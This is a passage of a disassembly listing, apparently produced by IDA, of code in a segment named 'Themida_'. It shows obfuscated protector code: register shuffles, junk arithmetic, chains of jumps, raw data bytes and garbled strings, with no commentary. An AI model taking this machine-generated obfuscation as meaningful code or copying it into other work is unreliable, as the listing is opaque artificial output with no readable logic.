		add	al, bl
		pop	ebx
		pop	ebx
		jmp	loc_58CA87
; ---------------------------------------------------------------------------


loc_58D92B:				; CODE XREF: Themida_:005941E8j
		pop	edx
		jmp	loc_58C336
; ---------------------------------------------------------------------------


loc_58D931:				; CODE XREF: Themida_:00595162j
		push	dword ptr [esp]
		jmp	loc_5944BC
; ---------------------------------------------------------------------------
		db 0BDh, 70h, 5
		dd 0E5C1581Ah, 32B8E905h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58D946:				; CODE XREF: Themida_:0058B14Fj
		shl	eax, 3
		jmp	loc_59238D
; ---------------------------------------------------------------------------


loc_58D94E:				; CODE XREF: Themida_:00593450j
		shr	edx, 2
		and	edx, 6E0275E6h
		jle	loc_59368D
		push	esi
		mov	esi, 103853A5h
		neg	esi
		xor	esi, 3FA426FFh
		sub	esi, 4A13137Ch
		jmp	loc_593064
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 0B1921A9Eh, 0E959CF01h, 3327h, 15BDA89h, 2CA3E9D0h
		dd 0EBC10000h, 84D1E905h, 0E9520000h, 5060h
; ---------------------------------------------------------------------------


loc_58D99C:				; CODE XREF: Themida_:0058FA40j
		push	ebp
		push	27302C7Ah
		pop	ebp
		jmp	loc_58DCC8
; ---------------------------------------------------------------------------
		dd 4CF8ED81h, 0DD015677h, 55E6E9h, 815A5400h, 4C2h, 4685300h
		dd 0E9000000h, 0D7h
; ---------------------------------------------------------------------------


loc_58D9C8:				; CODE XREF: Themida_:0058C4F3j
		sub	ebp, 2
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], dx
		jmp	loc_595746
; ---------------------------------------------------------------------------
aVBMfz		db 'VΎ(&B,Ίmδ‡',0
aSB		db 'ι$',0
		align 10h


loc_58D9F0:				; CODE XREF: Themida_:00591775j
		xor	edx, ebp
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_591613
; ---------------------------------------------------------------------------
		dw 1489h
		dd 7BF4BA24h, 0F28138A5h, 350446F3h, 2414F752h,	8C1E9h
		db 0
; ---------------------------------------------------------------------------


loc_58DA19:				; CODE XREF: Themida_:0058CB5Dj
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_58DA2D:				; CODE XREF: Themida_:00596754j
		sub	eax, 0C3F6E80Eh
		add	ebp, eax
		pop	eax
		pop	esi
		jmp	loc_596786
; ---------------------------------------------------------------------------


loc_58DA3B:				; CODE XREF: Themida_:00596CACj
		add	esp, 4
		shr	bh, 3
		jmp	loc_58B37B
; ---------------------------------------------------------------------------
		db 0ADh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_591FE8
; ---------------------------------------------------------------------------


loc_58DA5E:				; CODE XREF: Themida_:00597235j
		shr	esi, 5
		sub	esi, 376B4C87h
		shl	esi, 7
		shl	esi, 1
		jmp	loc_597716
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4Bh
		dd 89C94A31h, 0CA815BDAh, 7F884BFFh, 0D104E2C1h, 58F281EAh
		dd 0E95C1D6Ch, 5055h
; ---------------------------------------------------------------------------


loc_58DA90:				; CODE XREF: Themida_:0058B227j
		sar	byte ptr [esp],	cl
		pushf
		jmp	loc_590A2F
; ---------------------------------------------------------------------------


loc_58DA99:				; CODE XREF: Themida_:00591CF7j
		pop	edi
		jmp	loc_59547B
; ---------------------------------------------------------------------------


loc_58DA9F:				; CODE XREF: Themida_:loc_58B72Cj
		pop	ebx
		add	edx, ebx
		pop	ebx
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		push	17FBh
		mov	[esp], ecx
		push	esi
		mov	esi, 23522C9Dh
		xchg	ebp, esi
		xchg	esi, ebp
		push	esi
		not	dword ptr [esp]
		jmp	loc_58BF3F
; ---------------------------------------------------------------------------


loc_58DAC8:				; CODE XREF: Themida_:0059058Dj
		pop	eax
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebp
		push	esi
		mov	esi, 100h
		mov	ebp, esi
		push	dword ptr [esp]
		pop	esi
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_594127
; ---------------------------------------------------------------------------
		db 0F6h, 0D5h, 50h
		dd 0C4809DB4h, 0F44DE9C6h, 0F181FFFFh, 1FA82FFAh, 8101C183h
		dd 396A6AF1h, 8BCB895Ah, 0C481240Ch, 4,	7C9EE9h, 240C8B00h
		dd 0A0EAE9h
		db 0
; ---------------------------------------------------------------------------


loc_58DB4D:				; CODE XREF: Themida_:0058F425j
					; Themida_:0058FE6Cj
		add	esi, 78317A10h
		xchg	ebp, esi
		not	ebp
		xchg	ebp, esi
		jmp	loc_590467
; ---------------------------------------------------------------------------
aUsM		db 'Uι{m',0
		align 4


loc_58DB64:				; CODE XREF: Themida_:0058E516j
		or	ch, 9Dh
		jmp	loc_58BD94
; ---------------------------------------------------------------------------


loc_58DB6C:				; CODE XREF: Themida_:00590B99j
		xchg	edi, [esp]
		pop	esp
		jmp	loc_58D05B
; ---------------------------------------------------------------------------


loc_58DB75:				; CODE XREF: Themida_:loc_58F831j
		or	edx, 62D86549h
		push	edi
		jmp	loc_596124
; ---------------------------------------------------------------------------


loc_58DB81:				; CODE XREF: Themida_:0058B1BAj
		push	dword ptr [esp]
		jmp	loc_590D7F
; ---------------------------------------------------------------------------
		db 0E9h, 51h, 7Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58DB8E:				; CODE XREF: Themida_:00597829j
		mov	esi, 4
		push	ebp
		mov	ebp, 58ED49F9h
		inc	ebp
		inc	ebp
		add	ebp, 15501BE4h
		jmp	loc_5954FD
; ---------------------------------------------------------------------------


loc_58DBA6:				; CODE XREF: Themida_:00593768j
		add	esp, 4
		add	bl, 69h
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_58D0E0
; ---------------------------------------------------------------------------


loc_58DBC4:				; CODE XREF: Themida_:0058CC6Fj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		shr	ecx, 0
		jmp	loc_591800
; ---------------------------------------------------------------------------


loc_58DBDF:				; CODE XREF: Themida_:0058D625j
		jmp	loc_58C5E0
; ---------------------------------------------------------------------------
		dd 0C181E189h, 4, 2E981h, 0C870000h, 89665C24h,	0B966240Ch
		dd 3166718Dh, 0C8B66CFh, 0E2895224h, 4C281h, 0C2810000h
		dd 2, 0A406E9h
		db 0
; ---------------------------------------------------------------------------


loc_58DC19:				; CODE XREF: Themida_:0058D0ECj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_58F277
; ---------------------------------------------------------------------------


loc_58DC29:				; CODE XREF: Themida_:0058FC8Ej
		mov	edx, 0F94A89D4h
		add	edx, edi
		pop	edi
		jmp	loc_590D93
; ---------------------------------------------------------------------------


loc_58DC36:				; CODE XREF: Themida_:005958F2j
		add	cl, 6Eh
		xor	dh, cl
		pop	ecx
		mov	ah, dh
		pop	edx
		dec	ah
		or	ah, 0DAh
		jmp	loc_58D85C
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 81h
		dd 4C2h, 4C28300h, 8B241487h, 0F0002424h, 24148B66h, 3002C483h
		dd 0C0B60FC3h, 818734FFh, 5C3F242Ch, 34FF4440h,	11D2E924h
		dd 0F470000h, 9C0684h, 32E95300h
		db 75h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58DC87:				; CODE XREF: Themida_:0058F7DDj
		add	edx, 0A4B796FBh
		mov	edi, edx
		pop	edx
		sub	ebp, edi
		jmp	loc_593000
; ---------------------------------------------------------------------------


loc_58DC97:				; CODE XREF: Themida_:0058D4BEj
		add	ebx, 2E3970AFh
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_58BA80
; ---------------------------------------------------------------------------
		dd 0D30001B2h, 5A2434FFh, 14E5E9h, 4EC8100h, 0E9000000h
		dd 31A4h
; ---------------------------------------------------------------------------


loc_58DCC0:				; CODE XREF: Themida_:00595729j
		pop	ebp
		xor	edx, ecx
		jmp	loc_596BBC
; ---------------------------------------------------------------------------


loc_58DCC8:				; CODE XREF: Themida_:0058D9A3j
		push	0A52h
		mov	[esp], ebx
		jmp	loc_58EB80
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 3Ah
		dd 0E9CF1CFBh, 0FFFFED01h
; ---------------------------------------------------------------------------


loc_58DCE0:				; CODE XREF: Themida_:00590E57j
		push	esi
		pop	eax
		jmp	loc_5960D9
; ---------------------------------------------------------------------------


loc_58DCE7:				; CODE XREF: Themida_:00596F12j
		sub	edx, 839639D8h
		jmp	loc_58E321
; ---------------------------------------------------------------------------
aBxP		db 'ε½',0Ah
		db '',0
aEpspw		db 'EPιPw',0
		dw 5A00h
		dd 3304EB83h, 9DE9241Ch, 83000099h, 48704C0h, 0C5DDE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58DD16:				; CODE XREF: Themida_:00590053j
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 77052F73h
		or	esi, 58910AC7h
		not	esi
		shl	esi, 6
		jnp	loc_597EAB
		xor	esi, 55980443h
		add	eax, esi
		jmp	loc_58F7FE
; ---------------------------------------------------------------------------
		dw 880Fh
		dd 0FFFFDF4Eh, 7998E9h
		db 0
; ---------------------------------------------------------------------------


loc_58DD51:				; CODE XREF: Themida_:0058D56Fj
		shl	bl, 1
		jns	loc_58BE32
		sub	bl, 8
		mov	ch, bl
		jmp	loc_594A46
; ---------------------------------------------------------------------------
		db 80h
		db 0E6h, 0D1h
; ---------------------------------------------------------------------------


loc_58DD66:				; CODE XREF: Themida_:00592978j
		and	ebp, 48284B69h
		jmp	loc_596109
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 8324148Bh, 746804C4h, 89000003h, 0E189240Ch,	4BD55h
		dd 0E9010000h, 4BB535Dh, 570D413Dh, 0FFF4B4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58DD99:				; CODE XREF: Themida_:0058E729j
		pop	edi
		pop	esi
		jmp	loc_58F784
; ---------------------------------------------------------------------------
		dd 4C481h, 71E90000h, 81000000h, 4C4h, 4C68300h, 0E9243487h
		dd 5E09h
; ---------------------------------------------------------------------------


loc_58DDBC:				; CODE XREF: Themida_:0059326Ej
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_58DDC1:				; CODE XREF: Themida_:00591F8Bj
		push	edi
		mov	edi, 4
		jmp	loc_58C717
; ---------------------------------------------------------------------------


loc_58DDCC:				; CODE XREF: Themida_:0058CDD9j
		push	dword ptr [esp+4]
		jmp	loc_592845
; ---------------------------------------------------------------------------


loc_58DDD5:				; CODE XREF: Themida_:00592C4Cj
		add	dword ptr [esp], 735F566Dh
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		push	esi
		jmp	loc_58C28C
; ---------------------------------------------------------------------------
		dd 6F37F681h, 8A0F0D06h, 1489h,	8B0FEED1h, 69E0h, 0CB8BD689h
		dd 40ADE981h, 890F7827h, 67C4h,	8103E9C1h, 0B0A706F1h
		dd 0E9C88939h, 0FFFFE48Ch, 880FDBF7h, 66A4h, 6667E9h, 48B6600h
		dd 4EA76824h, 81550000h, 0AB0E09C7h, 0C9F7815Ch, 8184EB42h
		dd 41586BC3h, 81FB016Fh, 41586BEBh, 2AE95F6Fh, 40000064h
		dd 6299840Fh, 0C2E90000h, 8B00003Fh, 67E92424h,	0C1FFFFC4h
		dd 0D6F703EEh, 4E85E9h
		db 0
; ---------------------------------------------------------------------------


loc_58DE71:				; CODE XREF: Themida_:0059672Cj
		neg	ebp
		add	ebp, 0A595056h
		xor	ebp, 2401E45h
		xor	ebp, 8A1D3027h
		add	edx, ebp
		jmp	loc_5945A6
; ---------------------------------------------------------------------------


loc_58DE8C:				; CODE XREF: Themida_:005937CAj
		push	esi
		jmp	loc_591162
; ---------------------------------------------------------------------------
		dw 0B435h
		dd 0C17607DFh, 0BEE904E8h, 0BE00008Fh, 4E185CBDh, 6B06E9h
		dd 0F6E95500h
		db 2Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58DEAF:				; CODE XREF: Themida_:0059531Dj
		mov	dh, bl
		pop	ebx
		pop	eax
		sub	esp, 2
		jmp	loc_5912E1
; ---------------------------------------------------------------------------


loc_58DEBB:				; CODE XREF: Themida_:00590B6Bj
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_5969EA
; ---------------------------------------------------------------------------


loc_58DED8:				; CODE XREF: Themida_:00597E4Dj
		jnz	loc_593E3F
		jmp	loc_58E5FA
; ---------------------------------------------------------------------------
		db 5Ah
		dd 24348155h, 64F20A58h
		db 5Bh
; ---------------------------------------------------------------------------


loc_58DEED:				; CODE XREF: Themida_:0058BB4Ej
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_58B2FC
; ---------------------------------------------------------------------------
		db 0E9h, 9Ah, 24h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58DF06:				; CODE XREF: Themida_:0058E3F5j
		pop	edx
		jmp	loc_58E132
; ---------------------------------------------------------------------------


loc_58DF0C:				; CODE XREF: Themida_:005910F9j
		sub	edx, ecx
		pop	ecx
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 7D2928DAh
		jmp	loc_596B2F
; ---------------------------------------------------------------------------


loc_58DF20:				; CODE XREF: Themida_:00596148j
		xchg	edi, [esp]
		jmp	loc_58CEB1
; ---------------------------------------------------------------------------
aNwMt@bLkaSxx	db '­WΏΨmt@ΗLͺ€ήι•X',0
		align 2


loc_58DF3A:				; CODE XREF: Themida_:00593294j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_59502C
; ---------------------------------------------------------------------------


loc_58DF4E:				; CODE XREF: Themida_:0058C20Bj
		add	esi, 0C53D106Ah
		sub	ebx, esi
		jmp	loc_58B6C0
; ---------------------------------------------------------------------------


loc_58DF5B:				; CODE XREF: Themida_:0058E117j
		push	0FE1h
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_596D04
; ---------------------------------------------------------------------------
		db 0B7h
		dd 5BFC30B0h, 8058E300h, 8C0FF2F3h, 3247h, 5002B551h, 0D0F6E888h
		dd 6658C588h, 85BE5653h, 0E934187Eh, 7A85h
; ---------------------------------------------------------------------------


loc_58DFA0:				; CODE XREF: Themida_:0058ABEEj
		pop	edx
		and	[edi+1Ch], ecx
		push	dword ptr [esp]
		jmp	loc_590497
; ---------------------------------------------------------------------------


loc_58DFAC:				; CODE XREF: Themida_:0058C68Dj
		pop	ecx
		jmp	loc_594868
; ---------------------------------------------------------------------------


loc_58DFB2:				; CODE XREF: Themida_:00593920j
		mov	[esp], edi
		sub	esp, 4
		jmp	loc_58EF99
; ---------------------------------------------------------------------------


loc_58DFBD:				; CODE XREF: Themida_:005946D0j
		jmp	loc_58E3B4
; ---------------------------------------------------------------------------


loc_58DFC2:				; CODE XREF: Themida_:0059711Ej
		neg	dword ptr [esp]
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_591B8F
; ---------------------------------------------------------------------------
		dd 0FFC2F9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58DFD5:				; CODE XREF: Themida_:0058E51Fj
		add	ch, 0BBh
		sub	bl, ch
		jmp	loc_58C360
; ---------------------------------------------------------------------------


loc_58DFDF:				; CODE XREF: Themida_:00594A2Fj
		mov	esp, [esp]
		sub	[esp], ax
		pushf
		jmp	loc_58E8A5
; ---------------------------------------------------------------------------
		dd 5B5AD601h, 0FFC3B4E9h, 0C18159FFh, 4, 6804C183h, 399Eh
		dd 0FF240C89h, 8B042474h, 0C481240Ch, 4, 8DA2E9h
		db 0
; ---------------------------------------------------------------------------


loc_58E019:				; CODE XREF: Themida_:00592045j
		sub	ecx, 0BB2A04F5h
		push	ecx
		add	dword ptr [esp], 6DD019Bh
		jmp	loc_58C41D
; ---------------------------------------------------------------------------
		dd 0F05EBC1h, 699E88h, 0B7F38100h, 835471A2h, 148904ECh
		dd 1C07BA24h, 0BB536815h, 23CD6306h, 93F3814Bh,	0E9706900h
		dd 19EDh, 813C77FFh, 23F9242Ch,	34FF542Fh, 89515824h, 5943E9E1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58E06E:				; CODE XREF: Themida_:0058B416j
		pop	ebp
		add	esp, 4
		jmp	loc_592127
; ---------------------------------------------------------------------------


loc_58E077:				; CODE XREF: Themida_:00595E4Dj
		xor	al, bh
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	eax
		mov	al, 0Bh
		add	al, 5Eh
		sub	bl, al
		pop	eax
		push	dx
		push	ebx
		mov	bh, 0EBh
		mov	dh, 0C3h
		add	dh, bh
		pop	ebx
		add	bl, dh
		jmp	loc_58F79C
; ---------------------------------------------------------------------------
		dd 7A74BE56h, 0F6811E9Eh, 1E9E7A70h, 835EF001h,	0FF5004C0h
		dd 0E9042474h, 4CABh
; ---------------------------------------------------------------------------


loc_58E0C4:				; CODE XREF: Themida_:00595FEBj
		push	ebx
		push	esp
		jmp	loc_5972BC
; ---------------------------------------------------------------------------


loc_58E0CB:				; CODE XREF: Themida_:0058E629j
		or	edi, 54A513FBh
		push	edx
		mov	edx, 7E6AFFACh
		add	edi, edx
		pop	edx
		push	edi
		jmp	loc_58EDF3
; ---------------------------------------------------------------------------


loc_58E0E0:				; CODE XREF: Themida_:0058EC14j
		sub	ebp, 87475084h
		jmp	loc_59094E
; ---------------------------------------------------------------------------
aSwo		db '[ιWŽ',0
		db 0
; ---------------------------------------------------------------------------


loc_58E0F1:				; CODE XREF: Themida_:00591892j
		pop	edi
		add	edi, ebx
		pop	ebx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xor	edx, edx
		jmp	loc_59391B
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 58669D1Ch, 9C240418h, 0FFC1B9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58E115:				; CODE XREF: Themida_:00593BF6j
		pop	eax
		std
		jmp	loc_58DF5B
; ---------------------------------------------------------------------------


loc_58E11C:				; CODE XREF: Themida_:0058A7F4j
		sub	eax, 309F7A81h
		jmp	loc_58C927
; ---------------------------------------------------------------------------
		dw 0E7D0h
		dd 0FE0FC780h, 5ECE9C7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58E132:				; CODE XREF: Themida_:0058DF07j
		shl	ebx, 6
		push	ebx
		inc	dword ptr [esp]
		pop	ebx
		push	esi
		mov	esi, 0AB158541h
		jmp	loc_59125D
; ---------------------------------------------------------------------------


loc_58E145:				; CODE XREF: Themida_:0058CAFBj
		xchg	edx, [esp]
		jmp	loc_58C1D7
; ---------------------------------------------------------------------------
		db 80h,	0F4h, 41h
		dd 8658E288h, 0E9D3F6DAh, 4DECh, 0BB241C89h, 79C86DCDh
		dd 6F6BB951h, 0E1810AA0h, 48921D29h, 1ACFE9h
		db 0
; ---------------------------------------------------------------------------


loc_58E175:				; CODE XREF: Themida_:00590702j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
		dd 0E907E5C0h, 9204h, 704D68h, 24348900h, 215AB951h, 0B6BE021Fh
		dd 815D7DE8h, 551DAC6h,	51CE0129h, 551DAB9h, 59CE2929h
		dd 3E6C159h, 3C55850Fh,	0F4E0000h, 0FFD4758Ch, 0EEECE9FFh
		dd 0C681FFFFh, 4C940B83h, 3A3F8C0Fh, 0C6810000h, 0F2886CF2h
		dd 48BF5756h, 29170224h, 0E904247Ch, 4C5Eh
; ---------------------------------------------------------------------------


loc_58E1E4:				; CODE XREF: Themida_:0058C7E8j
		push	edi
		jmp	loc_5905F9
; ---------------------------------------------------------------------------


loc_58E1EA:				; CODE XREF: Themida_:0058F4D4j
		add	esp, 4
		and	eax, edi
		pop	edi
		shr	eax, 0Bh
		jmp	loc_59709B
; ---------------------------------------------------------------------------
		db 59h
		dd 4C181h, 0B0E90000h, 6600004Fh, 2CC3E9ADh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58E20E:				; CODE XREF: Themida_:005978A9j
		add	edx, 6F356822h
		add	edx, edi
		jmp	loc_59671A
; ---------------------------------------------------------------------------


loc_58E21B:				; CODE XREF: Themida_:0059659Fj
		pop	ebp
		jmp	loc_597E05
; ---------------------------------------------------------------------------


loc_58E221:				; CODE XREF: Themida_:00596118j
		sub	ebx, 0B55CAA96h
		jmp	loc_58C497
; ---------------------------------------------------------------------------


loc_58E22C:				; CODE XREF: Themida_:00597D64j
		not	eax
		xchg	eax, ebp
		push	eax
		mov	eax, 7F114173h
		and	eax, 6C0D6D9Ah
		xor	eax, 0ACA7AF80h
		xor	ebp, eax
		pop	eax
		add	edi, ebp
		jmp	loc_58B6EF
; ---------------------------------------------------------------------------
		db 5Ah,	4, 19h
		dd 192CC828h, 0D8285966h, 4EC81h, 5AE90000h
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58E25F:				; CODE XREF: Themida_:00592CA8j
		mov	edx, 3B017E4Bh
		sub	edx, 3542E84h
		jl	loc_58F57A
		dec	edx
		jnp	loc_58ACB6
		dec	edx
		jg	loc_59682E
		push	eax
		mov	eax, 5AD52A50h
		dec	eax
		jmp	loc_592FD6
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 13320A86h, 3131E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58E296:				; CODE XREF: Themida_:00597BE4j
		add	esp, 4
		sub	ebx, 2C7938CFh
		sub	ebx, 14A11A4Eh
		add	ebx, eax
		add	ebx, 14A11A4Eh
		add	ebx, 2C7938CFh
		pop	eax
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		pop	esp
		shr	ecx, 7
		push	6E6Bh
		mov	[esp], edx
		push	eax
		push	45F3h
		mov	[esp], ebp
		jmp	loc_58BA29
; ---------------------------------------------------------------------------
		dw 0E95Ah
		dd 0FFFFC750h, 592434FFh, 4C481h, 0C4830000h, 9058E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58E2F2:				; CODE XREF: Themida_:005964B3j
		sub	ecx, 0C40F97E5h
		or	eax, ecx
		pop	ecx
		jmp	loc_59274A
; ---------------------------------------------------------------------------
		dd 1080E9h, 34895C00h, 2829BE24h, 0E9524D78h, 8FC7h, 6EEDC381h
		dd 0D929FC22h, 77EAE9h
		db 0
; ---------------------------------------------------------------------------


loc_58E321:				; CODE XREF: Themida_:0058DCEDj
		xor	ebx, edx
		pop	edx
		jmp	loc_597492
; ---------------------------------------------------------------------------
aQssg		db 'Qι‘g',0
		dw 2D00h
		dd 24AF5079h, 20FF6852h, 87E90000h, 8700005Dh, 87D1F7CDh
		dd 0C3E581CDh, 513EB95Dh, 875FB0B9h, 4AE1817Fh,	817E0008h
		dd 74385FE1h, 0F7D1F779h, 0FDC181D1h, 298C1848h, 0E80159CDh
		dd 4BD555Dh, 0E9000000h, 0FFFFEBC0h
; ---------------------------------------------------------------------------


loc_58E378:				; CODE XREF: Themida_:0058B1D0j
		push	2242h
		mov	[esp], esi
		mov	esi, 1D5649CEh
		push	ecx
		mov	ecx, 51436559h
		and	esi, ecx
		jmp	loc_58EE5F
; ---------------------------------------------------------------------------
		dw 0F4Fh
		dd 0FFF8E18Dh, 840F47FFh, 37EFh, 21ECE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58E3A6:				; CODE XREF: Themida_:00594EDFj
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		jmp	loc_58B1D5
; ---------------------------------------------------------------------------


loc_58E3B4:				; CODE XREF: Themida_:loc_58DFBDj
		shr	ebp, 5
		jz	loc_59232E
		neg	ebp
		jg	loc_595C0E
		jmp	loc_5933FD
; ---------------------------------------------------------------------------
		dw 685Eh
		dd 36F2h, 0BA241489h, 51BE574Ch, 2834E9h
		db 0
; ---------------------------------------------------------------------------


loc_58E3DD:				; CODE XREF: Themida_:005971B7j
		mov	[esp], esi
		jmp	loc_58BD59
; ---------------------------------------------------------------------------


loc_58E3E5:				; CODE XREF: Themida_:00595253j
		mov	edx, 1
		sub	ebx, edx
		pop	edx
		push	edx
		mov	edx, 1
		sub	ebx, edx
		jmp	loc_58DF06
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0EC815824h, 4, 0E9241C89h, 0FFFFD823h
; ---------------------------------------------------------------------------


loc_58E40C:				; CODE XREF: Themida_:0059775Dj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xor	ecx, edx
		push	dword ptr [esp]
		pop	edx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_58C762
; ---------------------------------------------------------------------------
		db 0B8h, 4Dh, 78h
		dd 0D0F77BEEh, 7EBCE9h,	0E9566600h, 0F35h
; ---------------------------------------------------------------------------


loc_58E450:				; CODE XREF: Themida_:005912E9j
		pop	ax
		add	dh, 6
		jmp	loc_58FB86
; ---------------------------------------------------------------------------
		dw 8950h
		dd 405E0h, 42D0000h, 87000000h,	248B2404h, 24248924h, 4240483h
		dd 0E9242C8Bh, 0FFFFEC32h
; ---------------------------------------------------------------------------


loc_58E47C:				; CODE XREF: Themida_:005961C6j
		sub	bh, 4Ch
		push	ecx
		mov	ch, 41h
		jmp	loc_58D5EE
; ---------------------------------------------------------------------------


loc_58E487:				; CODE XREF: Themida_:005961B6j
		sub	dh, 0E1h
		push	ecx
		mov	cl, dh
		mov	bh, cl
		pop	ecx
		jmp	loc_5927CD
; ---------------------------------------------------------------------------


loc_58E495:				; CODE XREF: Themida_:0058D6A2j
					; Themida_:00593CEFj
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
		dw 805Bh
		dd 0D430D9F2h, 8124148Bh, 4C4h,	0FECC8600h, 0F6CC86C1h
		dd 90B252DCh, 1D8E9h, 5173BB00h, 0DBF75851h, 7870C381h
		dd 800F5973h, 842Eh, 5B2FF381h,	8D0F18BCh, 0FFFFFB54h
		dd 0F05EBC1h, 6DCD88h
		db 0, 89h, 0D1h
; ---------------------------------------------------------------------------


loc_58E4E3:				; CODE XREF: Themida_:005959B9j
		pop	esi
		push	edi
		pop	eax
		jmp	loc_5937A4
; ---------------------------------------------------------------------------


loc_58E4EB:				; CODE XREF: Themida_:0058D914j
		sub	edx, 8A95E43h
		add	ebx, edx
		pop	edx
		push	477Fh
		mov	[esp], edx
		push	ecx
		mov	ecx, 1C92080Ah
		jmp	loc_58B085
; ---------------------------------------------------------------------------


loc_58E507:				; CODE XREF: Themida_:0058F97Bj
		neg	ebx
		xor	ebx, 7154B0Bh
		jmp	loc_592682
; ---------------------------------------------------------------------------


loc_58E514:				; CODE XREF: Themida_:00597875j
		dec	ch
		jo	loc_58DB64
		or	ch, 9Dh
		jmp	loc_58DFD5
; ---------------------------------------------------------------------------


loc_58E524:				; CODE XREF: Themida_:0058C212j
		pop	edx
		jmp	loc_5972A4
; ---------------------------------------------------------------------------
		dw 34FFh
aXh0s		db '$Xh0S',0
		dw 8900h
		dd 0E389241Ch, 4C381h, 0EB830000h, 74FF5304h, 8F5B0424h
		dd 27E92404h, 0FFFFFFC8h, 3E683877h, 89000003h,	0B9512434h
		dd 22B33367h, 6B55F181h, 890F646Dh, 7F5Eh, 686FF181h, 0D12C1B19h
		dd 835C66B1h, 79E904ECh
		db 71h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58E57F:				; CODE XREF: Themida_:0058D3B7j
		add	edi, 4
		jmp	loc_597BF9
; ---------------------------------------------------------------------------
		dw 4BFh
		dd 29000000h, 1AE95FFBh, 59000004h, 0E952D4F6h,	8877h
		dd 8664F380h, 0F6D486E3h, 86D486D2h, 2EBC0E3h, 8904EC83h
		dd 42682404h, 0E9000005h, 0FFFFDB81h, 0F5C3E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58E5C6:				; CODE XREF: Themida_:00597D50j
		mov	ecx, 36555BE8h
		shl	ecx, 4
		not	ecx
		dec	ecx
		sub	ecx, 0C822DF25h
		add	ebp, ecx
		pop	ecx
		sub	esi, ebp
		pop	ebp
		push	1C5Bh
		jmp	loc_5952AE
; ---------------------------------------------------------------------------
		db 21h
		dd 5C74E9FBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58E5EE:				; CODE XREF: Themida_:0059801Aj
		mov	esi, 4
		add	ebx, esi
		jmp	loc_58B878
; ---------------------------------------------------------------------------


loc_58E5FA:				; CODE XREF: Themida_:0058DEDEj
					; Themida_:loc_596F17j
		push	edx
		mov	dl, 0D7h
		add	bl, dl
		pop	edx
		add	bl, 0E8h
		jmp	loc_597864
; ---------------------------------------------------------------------------
		dd 7F6B8E0Fh, 0F8E90000h, 8F00000Ah, 248B2404h
